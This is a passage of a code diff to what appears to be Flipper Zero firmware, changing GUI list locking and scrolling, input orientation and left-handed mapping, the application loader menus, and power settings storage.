+ model->cursor_pos = 0; + model->cursor_select = false; model->text_buffer = NULL; model->text_buffer_size = 0; model->callback = NULL; @@ -641,11 +664,15 @@ void text_input_set_result_callback( model->text_buffer = text_buffer; model->text_buffer_size = text_buffer_size; model->clear_default_text = clear_default_text; + model->cursor_select = false; if(text_buffer && text_buffer[0] != '\0') { + model->cursor_pos = strlen(text_buffer); // Set focus on Save model->selected_row = 2; model->selected_column = 9; model->selected_keyboard = 0; + } else { + model->cursor_pos = 0; } }, true); diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index cf7f64ca3..182cd127f 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -11,6 +12,8 @@ struct VariableItem { FuriString* current_value_text; uint8_t values_count; VariableItemChangeCallback change_callback; + bool locked; + FuriString* locked_message; void* context; }; @@ -20,12 +23,16 @@ struct VariableItemList { View* view; VariableItemListEnterCallback callback; void* context; + FuriTimer* scroll_timer; + FuriTimer* locked_timer; }; typedef struct { VariableItemArray_t items; uint8_t position; uint8_t window_position; + size_t scroll_counter; + bool locked_message_visible; } VariableItemListModel; static void variable_item_list_process_up(VariableItemList* variable_item_list); @@ -56,31 +63,44 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { const VariableItem* item = VariableItemArray_cref(it); uint8_t item_y = y_offset + (item_position * item_height); uint8_t item_text_y = item_y + item_height - 4; + size_t scroll_counter = 0; if(position == model->position) { canvas_set_color(canvas, ColorBlack); elements_slightly_rounded_box(canvas, 0, item_y + 1, item_width, item_height - 2); canvas_set_color(canvas, ColorWhite); + scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } } else { canvas_set_color(canvas, ColorBlack); } canvas_draw_str(canvas, 6, item_text_y, item->label); - if(item->current_value_index > 0) { - canvas_draw_str(canvas, 73, item_text_y, "<"); - } + if(item->locked) { + canvas_draw_icon(canvas, 110, item_text_y - 8, &I_Lock_7x8); + } else { + if(item->current_value_index > 0) { + canvas_draw_str(canvas, 73, item_text_y, "<"); + } - canvas_draw_str_aligned( - canvas, - (115 + 73) / 2 + 1, - item_text_y, - AlignCenter, - AlignBottom, - furi_string_get_cstr(item->current_value_text)); + elements_scrollable_text_line( + canvas, + (115 + 73) / 2 + 1, + item_text_y, + 37, + item->current_value_text, + scroll_counter, + false, + true); - if(item->current_value_index < (item->values_count - 1)) { - canvas_draw_str(canvas, 115, item_text_y, ">"); + if(item->current_value_index < (item->values_count - 1)) { + canvas_draw_str(canvas, 115, item_text_y, ">"); + } } } @@ -88,6 +108,23 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { } elements_scrollbar(canvas, model->position, VariableItemArray_size(model->items)); + + if(model->locked_message_visible) { + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 8, 10, 110, 48); + canvas_set_color(canvas, ColorBlack); + canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); + canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); + canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); + elements_multiline_text_aligned( + canvas, + 84, + 32, + AlignCenter, + AlignCenter, + furi_string_get_cstr( + VariableItemArray_get(model->items, model->position)->locked_message)); + } } void variable_item_list_set_selected_item(VariableItemList* variable_item_list, uint8_t index) { @@ -130,7 +167,22 @@ static bool variable_item_list_input_callback(InputEvent* event, void* context) furi_assert(variable_item_list); bool consumed = false; - if(event->type == InputTypeShort) { + bool locked_message_visible = false; + with_view_model( + variable_item_list->view, + VariableItemListModel * model, + { locked_message_visible = model->locked_message_visible; }, + false); + + if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && + locked_message_visible) { + with_view_model( + variable_item_list->view, + VariableItemListModel * model, + { model->locked_message_visible = false; }, + true); + consumed = true; + } else if(event->type == InputTypeShort) { switch(event->key) { case InputKeyUp: consumed = true; @@ -198,6 +250,7 @@ void variable_item_list_process_up(VariableItemList* variable_item_list) { model->window_position = model->position - (items_on_screen - 1); } } + model->scroll_counter = 0; }, true); } @@ -219,6 +272,7 @@ void variable_item_list_process_down(VariableItemList* variable_item_list) { model->position = 0; model->window_position = 0; } + model->scroll_counter = 0; }, true); } @@ -248,8 +302,13 @@ void variable_item_list_process_left(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(item->current_value_index > 0) { + if(item->locked) { + model->locked_message_visible = true; + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(item->current_value_index > 0) { item->current_value_index--; + model->scroll_counter = 0; if(item->change_callback) { item->change_callback(item); } @@ -264,8 +323,13 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(item->current_value_index < (item->values_count - 1)) { + if(item->locked) { + model->locked_message_visible = true; + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(item->current_value_index < (item->values_count - 1)) { item->current_value_index++; + model->scroll_counter = 0; if(item->change_callback) { item->change_callback(item); } @@ -279,11 +343,36 @@ void variable_item_list_process_ok(VariableItemList* variable_item_list) { variable_item_list->view, VariableItemListModel * model, { - if(variable_item_list->callback) { + VariableItem* item = variable_item_list_get_selected_item(model); + if(item->locked) { + model->locked_message_visible = true; + furi_timer_start( + variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(variable_item_list->callback) { variable_item_list->callback(variable_item_list->context, model->position); } }, - false); + true); +} + +static void variable_item_list_scroll_timer_callback(void* context) { + VariableItemList* variable_item_list = context; + with_view_model( + variable_item_list->view, + VariableItemListModel * model, + { model->scroll_counter++; }, + true); +} + +void variable_item_list_locked_timer_callback(void* context) { + furi_assert(context); + VariableItemList* variable_item_list = context; + + with_view_model( + variable_item_list->view, + VariableItemListModel * model, + { model->locked_message_visible = false; }, + true); } VariableItemList* variable_item_list_alloc() { @@ -295,6 +384,9 @@ VariableItemList* variable_item_list_alloc() { view_set_draw_callback(variable_item_list->view, variable_item_list_draw_callback); view_set_input_callback(variable_item_list->view, variable_item_list_input_callback); + variable_item_list->locked_timer = furi_timer_alloc( + variable_item_list_locked_timer_callback, FuriTimerTypeOnce, variable_item_list); + with_view_model( variable_item_list->view, VariableItemListModel * model, @@ -302,8 +394,12 @@ VariableItemList* variable_item_list_alloc() { VariableItemArray_init(model->items); model->position = 0; model->window_position = 0; + model->scroll_counter = 0; }, true); + variable_item_list->scroll_timer = furi_timer_alloc( + variable_item_list_scroll_timer_callback, FuriTimerTypePeriodic, variable_item_list); + furi_timer_start(variable_item_list->scroll_timer, 333); return variable_item_list; } @@ -319,10 +415,15 @@ void variable_item_list_free(VariableItemList* variable_item_list) { for(VariableItemArray_it(it, model->items); !VariableItemArray_end_p(it); VariableItemArray_next(it)) { furi_string_free(VariableItemArray_ref(it)->current_value_text); + furi_string_free(VariableItemArray_ref(it)->locked_message); } VariableItemArray_clear(model->items); }, false); + furi_timer_stop(variable_item_list->scroll_timer); + furi_timer_free(variable_item_list->scroll_timer); + furi_timer_stop(variable_item_list->locked_timer); + furi_timer_free(variable_item_list->locked_timer); view_free(variable_item_list->view); free(variable_item_list); } @@ -338,6 +439,7 @@ void variable_item_list_reset(VariableItemList* variable_item_list) { for(VariableItemArray_it(it, model->items); !VariableItemArray_end_p(it); VariableItemArray_next(it)) { furi_string_free(VariableItemArray_ref(it)->current_value_text); + furi_string_free(VariableItemArray_ref(it)->locked_message); } VariableItemArray_reset(model->items); }, @@ -370,6 +472,8 @@ VariableItem* variable_item_list_add( item->context = context; item->current_value_index = 0; item->current_value_text = furi_string_alloc(); + item->locked = false; + item->locked_message = furi_string_alloc(); }, true); @@ -404,6 +508,14 @@ void variable_item_set_current_value_text(VariableItem* item, const char* curren furi_string_set(item->current_value_text, current_value_text); } +void variable_item_set_locked(VariableItem* item, bool locked, const char* locked_message) { + item->locked = locked; + if(locked) { + furi_assert(locked_message); + furi_string_set(item->locked_message, locked_message); + } +} + uint8_t variable_item_get_current_value_index(VariableItem* item) { return item->current_value_index; } diff --git a/applications/services/gui/modules/variable_item_list.h b/applications/services/gui/modules/variable_item_list.h index db2a58993..db8b1788f 100644 --- a/applications/services/gui/modules/variable_item_list.h +++ b/applications/services/gui/modules/variable_item_list.h @@ -95,6 +95,14 @@ void variable_item_set_values_count(VariableItem* item, uint8_t values_count); */ void variable_item_set_current_value_text(VariableItem* item, const char* current_value_text); +/** Set item locked state and text + * + * @param item VariableItem* instance + * @param locked Is item locked boolean + * @param locked_message The locked message text + */ +void variable_item_set_locked(VariableItem* item, bool locked, const char* locked_message); + /** Get item current selected index * * @param item VariableItem* instance diff --git a/applications/services/gui/view.c b/applications/services/gui/view.c index 50c05a406..4d84cac50 100644 --- a/applications/services/gui/view.c +++ b/applications/services/gui/view.c @@ -81,7 +81,7 @@ void view_allocate_model(View* view, ViewModelType type, size_t size) { view->model = malloc(size); } else if(view->model_type == ViewModelTypeLocking) { ViewModelLocking* model = malloc(sizeof(ViewModelLocking)); - model->mutex = furi_mutex_alloc(FuriMutexTypeNormal); + model->mutex = furi_mutex_alloc(FuriMutexTypeRecursive); furi_check(model->mutex); model->data = malloc(size); view->model = model; diff --git a/applications/services/gui/view_dispatcher.c b/applications/services/gui/view_dispatcher.c index 046958749..920b3c139 100644 --- a/applications/services/gui/view_dispatcher.c +++ b/applications/services/gui/view_dispatcher.c @@ -320,6 +320,13 @@ void view_dispatcher_send_custom_event(ViewDispatcher* view_dispatcher, uint32_t furi_message_queue_put(view_dispatcher->queue, &message, FuriWaitForever) == FuriStatusOk); } +static const ViewPortOrientation view_dispatcher_view_port_orientation_table[] = { + [ViewOrientationVertical] = ViewPortOrientationVertical, + [ViewOrientationVerticalFlip] = ViewPortOrientationVerticalFlip, + [ViewOrientationHorizontal] = ViewPortOrientationHorizontal, + [ViewOrientationHorizontalFlip] = ViewPortOrientationHorizontalFlip, +}; + void view_dispatcher_set_current_view(ViewDispatcher* view_dispatcher, View* view) { furi_assert(view_dispatcher); // Dispatch view exit event @@ -330,15 +337,12 @@ void view_dispatcher_set_current_view(ViewDispatcher* view_dispatcher, View* vie view_dispatcher->current_view = view; // Dispatch view enter event if(view_dispatcher->current_view) { - if(view->orientation == ViewOrientationVertical) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationVertical); - } else if(view->orientation == ViewOrientationVerticalFlip) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationVerticalFlip); - } else if(view->orientation == ViewOrientationHorizontal) { - view_port_set_orientation(view_dispatcher->view_port, ViewPortOrientationHorizontal); - } else if(view->orientation == ViewOrientationHorizontalFlip) { - view_port_set_orientation( - view_dispatcher->view_port, ViewPortOrientationHorizontalFlip); + ViewPortOrientation orientation = + view_dispatcher_view_port_orientation_table[view->orientation]; + if(view_port_get_orientation(view_dispatcher->view_port) != orientation) { + view_port_set_orientation(view_dispatcher->view_port, orientation); + // we just rotated input keys, now it's time to sacrifice some input + view_dispatcher->ongoing_input = 0; } view_enter(view_dispatcher->current_view); view_port_enabled_set(view_dispatcher->view_port, true); diff --git a/applications/services/gui/view_port.c b/applications/services/gui/view_port.c index 3e0889fbf..8c2ff6fe0 100644 --- a/applications/services/gui/view_port.c +++ b/applications/services/gui/view_port.c @@ -1,7 +1,8 @@ #include "view_port_i.h" -#include "xtreme/settings.h" #include +#include +#include #include "gui.h" #include "gui_i.h" @@ -49,48 +50,45 @@ static const InputKey view_port_input_mapping[ViewPortOrientationMAX][InputKeyMA InputKeyBack}, //ViewPortOrientationVerticalFlip }; +static const InputKey view_port_left_hand_input_mapping[InputKeyMAX] = + {InputKeyDown, InputKeyUp, InputKeyLeft, InputKeyRight, InputKeyOk, InputKeyBack}; + +static const CanvasOrientation view_port_orientation_mapping[ViewPortOrientationMAX] = { + [ViewPortOrientationHorizontal] = CanvasOrientationHorizontal, + [ViewPortOrientationHorizontalFlip] = CanvasOrientationHorizontalFlip, + [ViewPortOrientationVertical] = CanvasOrientationVertical, + [ViewPortOrientationVerticalFlip] = CanvasOrientationVerticalFlip, +}; + // Remaps directional pad buttons on Flipper based on ViewPort orientation static void view_port_map_input(InputEvent* event, ViewPortOrientation orientation) { furi_assert(orientation < ViewPortOrientationMAX && event->key < InputKeyMAX); + + if(event->sequence_source != INPUT_SEQUENCE_SOURCE_HARDWARE) { + return; + } + if(orientation == ViewPortOrientationHorizontal || orientation == ViewPortOrientationHorizontalFlip) { - if(XTREME_SETTINGS()->left_handed) { - switch(event->key) { - case InputKeyUp: - event->key = InputKeyDown; - break; - case InputKeyDown: - event->key = InputKeyUp; - break; - case InputKeyLeft: - event->key = InputKeyRight; - break; - case InputKeyRight: - event->key = InputKeyLeft; - break; - default: - break; - } + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + event->key = view_port_left_hand_input_mapping[event->key]; } } event->key = view_port_input_mapping[orientation][event->key]; } static void view_port_setup_canvas_orientation(const ViewPort* view_port, Canvas* canvas) { - switch(view_port->orientation) { - case ViewPortOrientationHorizontalFlip: - canvas_set_orientation(canvas, CanvasOrientationHorizontalFlip); - break; - case ViewPortOrientationVertical: - canvas_set_orientation(canvas, CanvasOrientationVertical); - break; - case ViewPortOrientationVerticalFlip: - canvas_set_orientation(canvas, CanvasOrientationVerticalFlip); - break; - default: - canvas_set_orientation(canvas, CanvasOrientationHorizontal); - break; - }; + CanvasOrientation orientation = view_port_orientation_mapping[view_port->orientation]; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + if(orientation == CanvasOrientationHorizontal) { + orientation = CanvasOrientationHorizontalFlip; + } else if(orientation == CanvasOrientationHorizontalFlip) { + orientation = CanvasOrientationHorizontal; + } + } + + canvas_set_orientation(canvas, orientation); } ViewPort* view_port_alloc() { diff --git a/applications/services/input/input.c b/applications/services/input/input.c index e1e581c9f..8da0a3400 100644 --- a/applications/services/input/input.c +++ b/applications/services/input/input.c @@ -23,7 +23,8 @@ inline static void input_timer_stop(FuriTimer* timer_id) { void input_press_timer_callback(void* arg) { InputPinState* input_pin = arg; InputEvent event; - event.sequence = input_pin->counter; + event.sequence_source = INPUT_SEQUENCE_SOURCE_HARDWARE; + event.sequence_counter = input_pin->counter; event.key = input_pin->pin->key; input_pin->press_counter++; if(input_pin->press_counter == INPUT_LONG_PRESS_COUNTS) { @@ -114,16 +115,17 @@ int32_t input_srv(void* p) { // Common state info InputEvent event; + event.sequence_source = INPUT_SEQUENCE_SOURCE_HARDWARE; event.key = input->pin_states[i].pin->key; // Short / Long / Repeat timer routine if(state) { input->counter++; input->pin_states[i].counter = input->counter; - event.sequence = input->pin_states[i].counter; + event.sequence_counter = input->pin_states[i].counter; input_timer_start(input->pin_states[i].press_timer, INPUT_PRESS_TICKS); } else { - event.sequence = input->pin_states[i].counter; + event.sequence_counter = input->pin_states[i].counter; input_timer_stop(input->pin_states[i].press_timer); if(input->pin_states[i].press_counter < INPUT_LONG_PRESS_COUNTS) { event.type = InputTypeShort; diff --git a/applications/services/input/input.h b/applications/services/input/input.h index 062dc0fa5..a62e84569 100644 --- a/applications/services/input/input.h +++ b/applications/services/input/input.h @@ -12,6 +12,8 @@ extern "C" { #endif #define RECORD_INPUT_EVENTS "input_events" +#define INPUT_SEQUENCE_SOURCE_HARDWARE (0u) +#define INPUT_SEQUENCE_SOURCE_SOFTWARE (1u) /** Input Types * Some of them are physical events and some logical @@ -27,7 +29,13 @@ typedef enum { /** Input Event, dispatches with FuriPubSub */ typedef struct { - uint32_t sequence; + union { + uint32_t sequence; + struct { + uint8_t sequence_source : 2; + uint32_t sequence_counter : 30; + }; + }; InputKey key; InputType type; } InputEvent; diff --git a/applications/services/loader/application.fam b/applications/services/loader/application.fam index 91103e46e..49f3c4148 100644 --- a/applications/services/loader/application.fam +++ b/applications/services/loader/application.fam @@ -7,5 +7,8 @@ App( requires=["gui"], stack_size=2 * 1024, order=90, - sdk_headers=["loader.h"], + sdk_headers=[ + "loader.h", + "firmware_api/firmware_api.h", + ], ) diff --git a/applications/services/loader/firmware_api/firmware_api.cpp b/applications/services/loader/firmware_api/firmware_api.cpp new file mode 100644 index 000000000..814dd82c9 --- /dev/null +++ b/applications/services/loader/firmware_api/firmware_api.cpp @@ -0,0 +1,21 @@ +#include "firmware_api.h" + +#include +#include + +/* Generated table */ +#include + +static_assert(!has_hash_collisions(elf_api_table), "Detected API method hash collision!"); + +constexpr HashtableApiInterface elf_api_interface{ + { + .api_version_major = (elf_api_version >> 16), + .api_version_minor = (elf_api_version & 0xFFFF), + .resolver_callback = &elf_resolve_from_hashtable, + }, + .table_cbegin = elf_api_table.cbegin(), + .table_cend = elf_api_table.cend(), +}; + +const ElfApiInterface* const firmware_api_interface = &elf_api_interface; diff --git a/applications/services/loader/firmware_api/firmware_api.h b/applications/services/loader/firmware_api/firmware_api.h new file mode 100644 index 000000000..c73ae8960 --- /dev/null +++ b/applications/services/loader/firmware_api/firmware_api.h @@ -0,0 +1,5 @@ +#pragma once + +#include + +extern const ElfApiInterface* const firmware_api_interface; diff --git a/applications/services/loader/loader.c b/applications/services/loader/loader.c index bcbffcac2..f915cda1d 100644 --- a/applications/services/loader/loader.c +++ b/applications/services/loader/loader.c @@ -7,16 +7,37 @@ #include #include #include +#include +#include +#include #define TAG "LoaderSrv" #define LOADER_THREAD_FLAG_SHOW_MENU (1 << 0) -#define LOADER_THREAD_FLAG_ALL (LOADER_THREAD_FLAG_SHOW_MENU) +#define LOADER_THREAD_FLAG_SHOW_SETTINGS (1 << 1) +#define LOADER_THREAD_FLAG_ALL (LOADER_THREAD_FLAG_SHOW_MENU | LOADER_THREAD_FLAG_SHOW_SETTINGS) static Loader* loader_instance = NULL; +static FlipperApplication const* loader_find_application_by_name_in_list( + const char* name, + const FlipperApplication* list, + const uint32_t n_apps) { + for(size_t i = 0; i < n_apps; i++) { + if(strcmp(name, list[i].name) == 0) { + return &list[i]; + } + } + return NULL; +} + static bool loader_start_application(const FlipperApplication* application, const char* arguments) { + if(application->app == NULL) { + arguments = application->appid; + application = loader_find_application_by_name_in_list( + FAP_LOADER_APP_NAME, FLIPPER_APPS, FLIPPER_APPS_COUNT); + } loader_instance->application = application; furi_assert(loader_instance->application_arguments == NULL); @@ -48,25 +69,9 @@ static bool return true; } -static FlipperApplication const* loader_find_application_by_name_in_list( - const char* name, - const FlipperApplication* list, - const uint32_t n_apps) { - for(size_t i = 0; i < n_apps; i++) { - if(strcmp(name, list[i].name) == 0) { - return &list[i]; - } - } - return NULL; -} - const FlipperApplication* loader_find_application_by_name(const char* name) { const FlipperApplication* application = NULL; application = loader_find_application_by_name_in_list(name, FLIPPER_APPS, FLIPPER_APPS_COUNT); - if(!application) { - application = - loader_find_application_by_name_in_list(name, FLIPPER_PLUGINS, FLIPPER_PLUGINS_COUNT); - } if(!application) { application = loader_find_application_by_name_in_list( name, FLIPPER_SETTINGS_APPS, FLIPPER_SETTINGS_APPS_COUNT); @@ -75,10 +80,6 @@ const FlipperApplication* loader_find_application_by_name(const char* name) { application = loader_find_application_by_name_in_list( name, FLIPPER_SYSTEM_APPS, FLIPPER_SYSTEM_APPS_COUNT); } - if(!application) { - application = loader_find_application_by_name_in_list( - name, FLIPPER_DEBUG_APPS, FLIPPER_DEBUG_APPS_COUNT); - } return application; } @@ -98,7 +99,7 @@ static void loader_menu_callback(void* _ctx, uint32_t index) { loader_start_application(application, NULL); } -static void loader_main_callback(void* _ctx, uint32_t index) { +static void loader_external_callback(void* _ctx, uint32_t index) { UNUSED(index); const char* path = _ctx; const FlipperApplication* app = loader_find_application_by_name_in_list( @@ -181,18 +182,6 @@ static void loader_cli_list(Cli* cli, FuriString* args, Loader* instance) { for(size_t i = 0; i < FLIPPER_APPS_COUNT; i++) { printf("\t%s\r\n", FLIPPER_APPS[i].name); } - - printf("Plugins:\r\n"); - for(size_t i = 0; i < FLIPPER_PLUGINS_COUNT; i++) { - printf("\t%s\r\n", FLIPPER_PLUGINS[i].name); - } - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - printf("Debug:\r\n"); - for(size_t i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { - printf("\t%s\r\n", FLIPPER_DEBUG_APPS[i].name); - } - } } static void loader_cli_info(Cli* cli, FuriString* args, Loader* instance) { @@ -362,22 +351,6 @@ static Loader* loader_alloc() { view_set_previous_callback(menu_get_view(instance->primary_menu), loader_hide_menu); view_dispatcher_add_view( instance->view_dispatcher, LoaderMenuViewPrimary, menu_get_view(instance->primary_menu)); - // Plugins menu - instance->plugins_menu = submenu_alloc(); - view_set_context(submenu_get_view(instance->plugins_menu), instance->plugins_menu); - view_set_previous_callback( - submenu_get_view(instance->plugins_menu), loader_back_to_primary_menu); - view_dispatcher_add_view( - instance->view_dispatcher, - LoaderMenuViewPlugins, - submenu_get_view(instance->plugins_menu)); - // Debug menu - instance->debug_menu = submenu_alloc(); - view_set_context(submenu_get_view(instance->debug_menu), instance->debug_menu); - view_set_previous_callback( - submenu_get_view(instance->debug_menu), loader_back_to_primary_menu); - view_dispatcher_add_view( - instance->view_dispatcher, LoaderMenuViewDebug, submenu_get_view(instance->debug_menu)); // Settings menu instance->settings_menu = submenu_alloc(); view_set_context(submenu_get_view(instance->settings_menu), instance->settings_menu); @@ -406,10 +379,6 @@ static void loader_free(Loader* instance) { menu_free(loader_instance->primary_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPrimary); - submenu_free(loader_instance->plugins_menu); - view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPlugins); - submenu_free(loader_instance->debug_menu); - view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewDebug); submenu_free(loader_instance->settings_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewSettings); view_dispatcher_free(loader_instance->view_dispatcher); @@ -420,12 +389,22 @@ static void loader_free(Loader* instance) { instance = NULL; } -const Icon* loader_get_main_icon(char* name) { - // Temp solution, not sure how this could be easily improved - if(strcmp(name, "xtreme_app.fap") == 0) { - return &A_Xtreme_14; +bool loader_load_fap_meta(Storage* storage, FuriString* path, FuriString* name, const Icon** icon) { + *icon = NULL; + uint8_t* icon_buf = malloc(CUSTOM_ICON_MAX_SIZE); + if(!fap_loader_load_name_and_icon(path, storage, &icon_buf, name)) { + free(icon_buf); + icon_buf = NULL; + return false; } - return NULL; + *icon = malloc(sizeof(Icon)); + FURI_CONST_ASSIGN((*icon)->frame_count, 1); + FURI_CONST_ASSIGN((*icon)->frame_rate, 0); + FURI_CONST_ASSIGN((*icon)->width, 10); + FURI_CONST_ASSIGN((*icon)->height, 10); + FURI_CONST_ASSIGN_PTR((*icon)->frames, malloc(sizeof(const uint8_t*))); + FURI_CONST_ASSIGN_PTR((*icon)->frames[0], icon_buf); + return true; } static void loader_build_menu() { @@ -440,50 +419,6 @@ static void loader_build_menu() { loader_menu_callback, (void*)&FLIPPER_APPS[i]); } - Storage* storage = furi_record_open(RECORD_STORAGE); - File* folder = storage_file_alloc(storage); - FileInfo info; - char* name = malloc(100); - if(storage_dir_open(folder, EXT_PATH("apps/.Main"))) { - FuriString* path = furi_string_alloc(); - FuriString* appname = furi_string_alloc(); - while(storage_dir_read(folder, &info, name, 100)) { - if(file_info_is_dir(&info)) continue; - furi_string_printf(path, EXT_PATH("apps/.Main/%s"), name); - if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; - const Icon* icon = loader_get_main_icon(name); - menu_add_item( - loader_instance->primary_menu, - strdup(furi_string_get_cstr(appname)), - icon, - i++, - loader_main_callback, - (void*)strdup(furi_string_get_cstr(path))); - } - furi_string_free(appname); - furi_string_free(path); - } - free(name); - storage_file_free(folder); - furi_record_close(RECORD_STORAGE); - if(FLIPPER_PLUGINS_COUNT != 0) { - menu_add_item( - loader_instance->primary_menu, - "Plugins", - &A_Plugins_14, - i++, - loader_submenu_callback, - (void*)LoaderMenuViewPlugins); - } - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug) && (FLIPPER_DEBUG_APPS_COUNT > 0)) { - menu_add_item( - loader_instance->primary_menu, - "Debug Tools", - &A_Debug_14, - i++, - loader_submenu_callback, - (void*)LoaderMenuViewDebug); - } menu_add_item( loader_instance->primary_menu, "Settings", @@ -491,32 +426,36 @@ static void loader_build_menu() { i++, loader_submenu_callback, (void*)LoaderMenuViewSettings); + + Storage* storage = furi_record_open(RECORD_STORAGE); + FuriString* path = furi_string_alloc(); + FuriString* name = furi_string_alloc(); + Stream* stream = file_stream_alloc(storage); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, path)) { + furi_string_replace_all(path, "\r", ""); + furi_string_replace_all(path, "\n", ""); + const Icon* icon; + if(!loader_load_fap_meta(storage, path, name, &icon)) continue; + menu_add_item( + loader_instance->primary_menu, + strdup(furi_string_get_cstr(name)), + icon, + i++, + loader_external_callback, + (void*)strdup(furi_string_get_cstr(path))); + } + } + file_stream_close(stream); + stream_free(stream); + furi_string_free(name); + furi_string_free(path); + furi_record_close(RECORD_STORAGE); } static void loader_build_submenu() { - FURI_LOG_I(TAG, "Building plugins menu"); - size_t i; - for(i = 0; i < FLIPPER_PLUGINS_COUNT; i++) { - submenu_add_item( - loader_instance->plugins_menu, - FLIPPER_PLUGINS[i].name, - i, - loader_menu_callback, - (void*)&FLIPPER_PLUGINS[i]); - } - - FURI_LOG_I(TAG, "Building debug menu"); - for(i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { - submenu_add_item( - loader_instance->debug_menu, - FLIPPER_DEBUG_APPS[i].name, - i, - loader_menu_callback, - (void*)&FLIPPER_DEBUG_APPS[i]); - } - FURI_LOG_I(TAG, "Building settings menu"); - for(i = 0; i < FLIPPER_SETTINGS_APPS_COUNT; i++) { + for(size_t i = 0; i < FLIPPER_SETTINGS_APPS_COUNT; i++) { submenu_add_item( loader_instance->settings_menu, FLIPPER_SETTINGS_APPS[i].name, @@ -531,6 +470,11 @@ void loader_show_menu() { furi_thread_flags_set(loader_instance->loader_thread, LOADER_THREAD_FLAG_SHOW_MENU); } +void loader_show_settings() { + furi_assert(loader_instance); + furi_thread_flags_set(loader_instance->loader_thread, LOADER_THREAD_FLAG_SHOW_SETTINGS); +} + void loader_update_menu() { menu_reset(loader_instance->primary_menu); loader_build_menu(); @@ -565,6 +509,15 @@ int32_t loader_srv(void* p) { view_dispatcher_switch_to_view( loader_instance->view_dispatcher, LoaderMenuViewPrimary); view_dispatcher_run(loader_instance->view_dispatcher); + } else if(flags & LOADER_THREAD_FLAG_SHOW_SETTINGS) { + submenu_set_selected_item(loader_instance->settings_menu, 0); + view_set_previous_callback( + submenu_get_view(loader_instance->settings_menu), loader_hide_menu); + view_dispatcher_switch_to_view( + loader_instance->view_dispatcher, LoaderMenuViewSettings); + view_dispatcher_run(loader_instance->view_dispatcher); + view_set_previous_callback( + submenu_get_view(loader_instance->settings_menu), loader_back_to_primary_menu); } } diff --git a/applications/services/loader/loader.h b/applications/services/loader/loader.h index 2f8203e98..58516b339 100644 --- a/applications/services/loader/loader.h +++ b/applications/services/loader/loader.h @@ -9,7 +9,7 @@ extern "C" { #define RECORD_LOADER "loader" -#define FAP_LOADER_APP_NAME "Applications" +#define FAP_LOADER_APP_NAME "Apps" typedef struct Loader Loader; @@ -50,6 +50,9 @@ bool loader_is_locked(const Loader* instance); /** Show primary loader */ void loader_show_menu(); +/** Show settings menu */ +void loader_show_settings(); + /** Show primary loader */ void loader_update_menu(); diff --git a/applications/services/loader/loader_i.h b/applications/services/loader/loader_i.h index db91f806c..00028cd6b 100644 --- a/applications/services/loader/loader_i.h +++ b/applications/services/loader/loader_i.h @@ -26,8 +26,6 @@ struct Loader { ViewDispatcher* view_dispatcher; Menu* primary_menu; - Submenu* plugins_menu; - Submenu* debug_menu; Submenu* settings_menu; volatile uint8_t lock_count; @@ -37,7 +35,5 @@ struct Loader { typedef enum { LoaderMenuViewPrimary, - LoaderMenuViewPlugins, - LoaderMenuViewDebug, LoaderMenuViewSettings, } LoaderMenuView; diff --git a/applications/services/power/power_settings.c b/applications/services/power/power_settings.c new file mode 100644 index 000000000..cd456a5a8 --- /dev/null +++ b/applications/services/power/power_settings.c @@ -0,0 +1,22 @@ +#include "power_settings.h" + +bool SAVE_POWER_SETTINGS(uint32_t* x) { + return saved_struct_save( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); +} + +bool LOAD_POWER_SETTINGS(uint32_t* x) { + bool ret = saved_struct_load( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, POWER_SETTINGS_OLD_PATH, POWER_SETTINGS_PATH); + storage_common_remove(storage, POWER_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); + } + + return ret; +} diff --git a/applications/services/power/power_settings.h b/applications/services/power/power_settings.h index 0f2afa295..5c079369c 100644 --- a/applications/services/power/power_settings.h +++ b/applications/services/power/power_settings.h @@ -1,16 +1,12 @@ #include #include -#include "power_settings_filename.h" #define POWER_SETTINGS_VER (1) -#define POWER_SETTINGS_PATH 